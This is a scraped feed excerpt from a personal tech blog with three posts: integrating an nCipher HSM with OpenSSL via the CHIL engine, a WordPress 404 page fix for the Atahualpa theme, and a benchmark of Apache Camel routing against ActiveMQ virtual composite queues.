The post Debian GNU/Linux on Dell Inspiron 1764 first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2010/04/debian-gnulinux-on-dell-inspiron-1764/feed/ 3 nCipher HSM with OpenSSL https://blog.burghardt.pl/2010/03/ncipher-hsm-with-openssl/ https://blog.burghardt.pl/2010/03/ncipher-hsm-with-openssl/#comments Tue, 02 Mar 2010 22:36:50 +0000 http://www.burghardt.pl/?p=370 I just finished playing with some nCipher’s HSM. Unfortunately there is no integration guide for OpenSSL that cover CHIL interface and nCipher hardware security modules. nCipher’s installation guide is quite good, but after you finish installing hardware, drivers and daemons, you are on your own. I found only two helpful sources: Andrea Campi’s blog entry … Continue reading "nCipher HSM with OpenSSL"

The post nCipher HSM with OpenSSL first appeared on Krzysztof Burghardt’s blog.]]> I just finished playing with some nCipher’s HSM. Unfortunately there is no integration guide for OpenSSL that cover CHIL interface and nCipher hardware security modules.

nCipher’s installation guide is quite good, but after you finish installing hardware, drivers and daemons, you are on your own.

I found only two helpful sources: Andrea Campi’s blog entry about nCipher NetHSM and OpenSSL and Marek Marcola’s post on openssl-users mailing list.

Both guides ends on key generation and self-signed certificates. Its enough to get CHIL enabled application to work with nCipher’s HSM, but will not help you to convert any existing OpenSSL (not an CHIL-aware) application to use HSM.

CHIL enabled OpenSSL

When you have driver, hardserver and chil library for your HSM installed the next step is to install OpenSSL with CHIL support enabled. Modern Linux distribution may have CHIL already enabled. If so, there should be libchil.so library in /usr/lib/ssl/engines directory.

If libchil.so is missing follow OpenSSL installation steps as described in Apache2.2.x, OpenSSL 0.9.8x and nCipher Modules Integration Guide.

When OpenSSL in installed, add /opt/nfast/toolkits/hwcrhk to LD_LIBRARY_PATH:

$ export LD_LIBRARY_PATH=/opt/nfast/toolkits/hwcrhk

To check if OpenSSL is able to communicate with HSM trough CHIL interface run:

$ openssl engine -t chil
(chil) CHIL hardware engine support
     [ available ]

If CHIL is available benchmark HSM with:

$ openssl speed rsa -engine chil -elapsed -multi 50

Hardware accelerated cryptography

Use engine interface to switch to cryptography implementation from hardware security module.

#include <openssl/engine.h>

ENGINE *hwEngine = NULL;

int enable_chil()
{
    ENGINE_load_builtin_engines();

    if (!(hwEngine = ENGINE_by_id("CHIL")))
        return -1;

    if (!ENGINE_set_default(hwEngine, ENGINE_METHOD_ALL))
        return -2;

    return 0;
}

When application finish its cryptography operations, it should free engine.

void disable_chil()
{
    if(hwEngine)
    {
        ENGINE_finish(hwEngine);
        hwEngine = NULL;
        ENGINE_cleanup();
    }
}

Hardware key protection/storage

If you want to make your private keys more secure you should use hardware key protection (or even storage).

Hardware protected keys are stored on local filesystem, but encrypted by key stored only in HSM. To generate such key use:

$ /opt/nfast/bin/generatekey hwcrhk

Answer some questions (Protected by? module, Key type? RSA, Key size? 4096, Key identifier? keyname) and your encrypted (by module, as you choose in question above) private key is saved in /opt/nfast/kmdata/local/key_hwcrhk_rsa-keyname.

When using locally stored encryption keys you load them as in this example (I use EVP interface for high-level cryptographic functions):

EVP_PKEY *pkey = NULL;

int load_key()
{
    fp = fopen("filename.key", "r");

    if (fp == NULL)
        return -1;

    pkey = PEM_read_PrivateKey(fp, NULL, NULL, NULL);

    return 0;
}

When you have CHIL keys, loading them is also very simple:

void load_key_chil()
{
    pkey = ENGINE_load_private_key(hwEngine, "rsa-keyname", NULL, NULL);
}

When key is no longer in use destroy it with:

void free_key()
{
    EVP_PKEY_free(pkey);
}

If application just need to do some hardware accelerated RSA or it need to use hardware protected keys those code pieces along with CHIL-enabled OpenSSL is all you need.

The post nCipher HSM with OpenSSL first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2010/03/ncipher-hsm-with-openssl/feed/ 7 Integration of AA Google 404 with Atahualpa https://blog.burghardt.pl/2009/11/integration-of-aa-google-404-with-atahualpa/ https://blog.burghardt.pl/2009/11/integration-of-aa-google-404-with-atahualpa/#respond Fri, 13 Nov 2009 01:41:55 +0000 http://www.burghardt.pl/?p=361 AskApache Google 404 default 404.php does not work properly with Atahualpa theme. To fix those problems create another 404.php file in /themes/atahualpa with this content: <?php ob_start(); include(TEMPLATEPATH . '/functions/bfa_get_options.php'); get_header(); if (function_exists('aa_google_404'))     aa_google_404(); else { ?>     <h2><?php _e('Not Found','atahualpa'); ?></h2>     <p><?php _e("Sorry, but you are looking for something … Continue reading "Integration of AA Google 404 with Atahualpa"

The post Integration of AA Google 404 with Atahualpa first appeared on Krzysztof Burghardt’s blog.]]> AskApache Google 404 default 404.php does not work properly with Atahualpa theme. To fix those problems create another 404.php file in /themes/atahualpa with this content:

<?php

ob_start();

include(TEMPLATEPATH . '/functions/bfa_get_options.php');
get_header();

if (function_exists('aa_google_404'))
    aa_google_404();
else
{
?>
    <h2><?php _e('Not Found','atahualpa'); ?></h2>
    <p><?php _e("Sorry, but you are looking for something that isn't here.","atahualpa"); ?></p>
<?php
}

bfa_center_content($bfa_ata['center_content_bottom']);

get_footer();

exit();

?>

When it is done, choose wp-content/themes/atahualpa/404.php as 404 File Handling and enable AA Google 404.

The post Integration of AA Google 404 with Atahualpa first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2009/11/integration-of-aa-google-404-with-atahualpa/feed/ 0 Virtual destinations are faster than Camel routing https://blog.burghardt.pl/2009/10/virtual-destinations-are-faster-than-camel-routing/ https://blog.burghardt.pl/2009/10/virtual-destinations-are-faster-than-camel-routing/#respond Sat, 31 Oct 2009 20:26:08 +0000 http://www.burghardt.pl/?p=328 Routing messages from one input queue to two output queues in ActiveMQ can be done in two different ways. Apache Camel, a powerful rule-based routing engine often used with ActiveMQ, is a typical choice. Virtual composite queue is another solution. Which to choose? The faster. Apache Camel Camel configuration I use: <beans    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   … Continue reading "Virtual destinations are faster than Camel routing"

The post Virtual destinations are faster than Camel routing first appeared on Krzysztof Burghardt’s blog.]]> Routing messages from one input queue to two output queues in ActiveMQ can be done in two different ways. Apache Camel, a powerful rule-based routing engine often used with ActiveMQ, is a typical choice. Virtual composite queue is another solution. Which to choose? The faster.

Apache Camel

Camel configuration I use:

<beans
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://camel.apache.org/schema/spring http://camel.apache.org/schema/spring/camel-spring.xsd">

    <camelContext id="camel" xmlns="http://camel.apache.org/schema/spring">
        <route>
            <from uri="activemq:INPUT-QUEUE"/>
            <to uri="activemq:OUTPUT-1-QUEUE"/>
            <to uri="activemq:OUTPUT-2-QUEUE"/>
        </route>
    </camelContext>

    <bean id="activemq" class="org.apache.activemq.camel.component.ActiveMQComponent" >
        <property name="connectionFactory">
          <bean class="org.apache.activemq.ActiveMQConnectionFactory">
            <property name="brokerURL" value="vm://localhost?create=false&amp;waitForStart=10000" />
            <property name="userName" value="${activemq.username}"/>
            <property name="password" value="${activemq.password}"/>
          </bean>
        </property>
    </bean>
</beans>

Benchmark took 3 minutes 31 seconds to send 10 thousand messages through Camel:

$ time ./amqinject INPUT-QUEUE 10000
0.651u 0.490s 3:31.43 0.5%      0+0k 0+0io 0pf+0w

Unfortunately “Number Of Pending Messages” was always about 1024 and amqinject gets blocked in send() call:

INFO | Usage Manager memory limit reached on queue://INPUT-QUEUE. Producers will be throttled to the rate at which messages are removed from this destination to prevent flooding it. See http://activemq.apache.org/producer-flow-control.html for more info

Virtual Composite Queue

Virtual destinations are configured in <broker> tag. Here is my configuration:

        <destinations>
            <queue physicalName="INPUT-QUEUE" />
            <queue physicalName="OUTPUT-1-QUEUE" />
            <queue physicalName="OUTPUT-2-QUEUE" />
        </destinations>

        <destinationInterceptors>
        <virtualDestinationInterceptor>
            <virtualDestinations>
            <compositeQueue name="INPUT-QUEUE">
            <forwardTo>
                <queue physicalName="OUTPUT-1-QUEUE" />
                <queue physicalName="OUTPUT-2-QUEUE" />
            </forwardTo>
            </compositeQueue>
            </virtualDestinations>
        </virtualDestinationInterceptor>
        </destinationInterceptors>

Amqinject never blocked and it took only 2 minutes 29 seconds to complete:

% time ./amqinject INPUT-QUEUE 10000
0.718u 0.539s 2:29.33 0.8%      0+0k 0+0io 0pf+0w
The post Virtual destinations are faster than Camel routing first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2009/10/virtual-destinations-are-faster-than-camel-routing/feed/ 0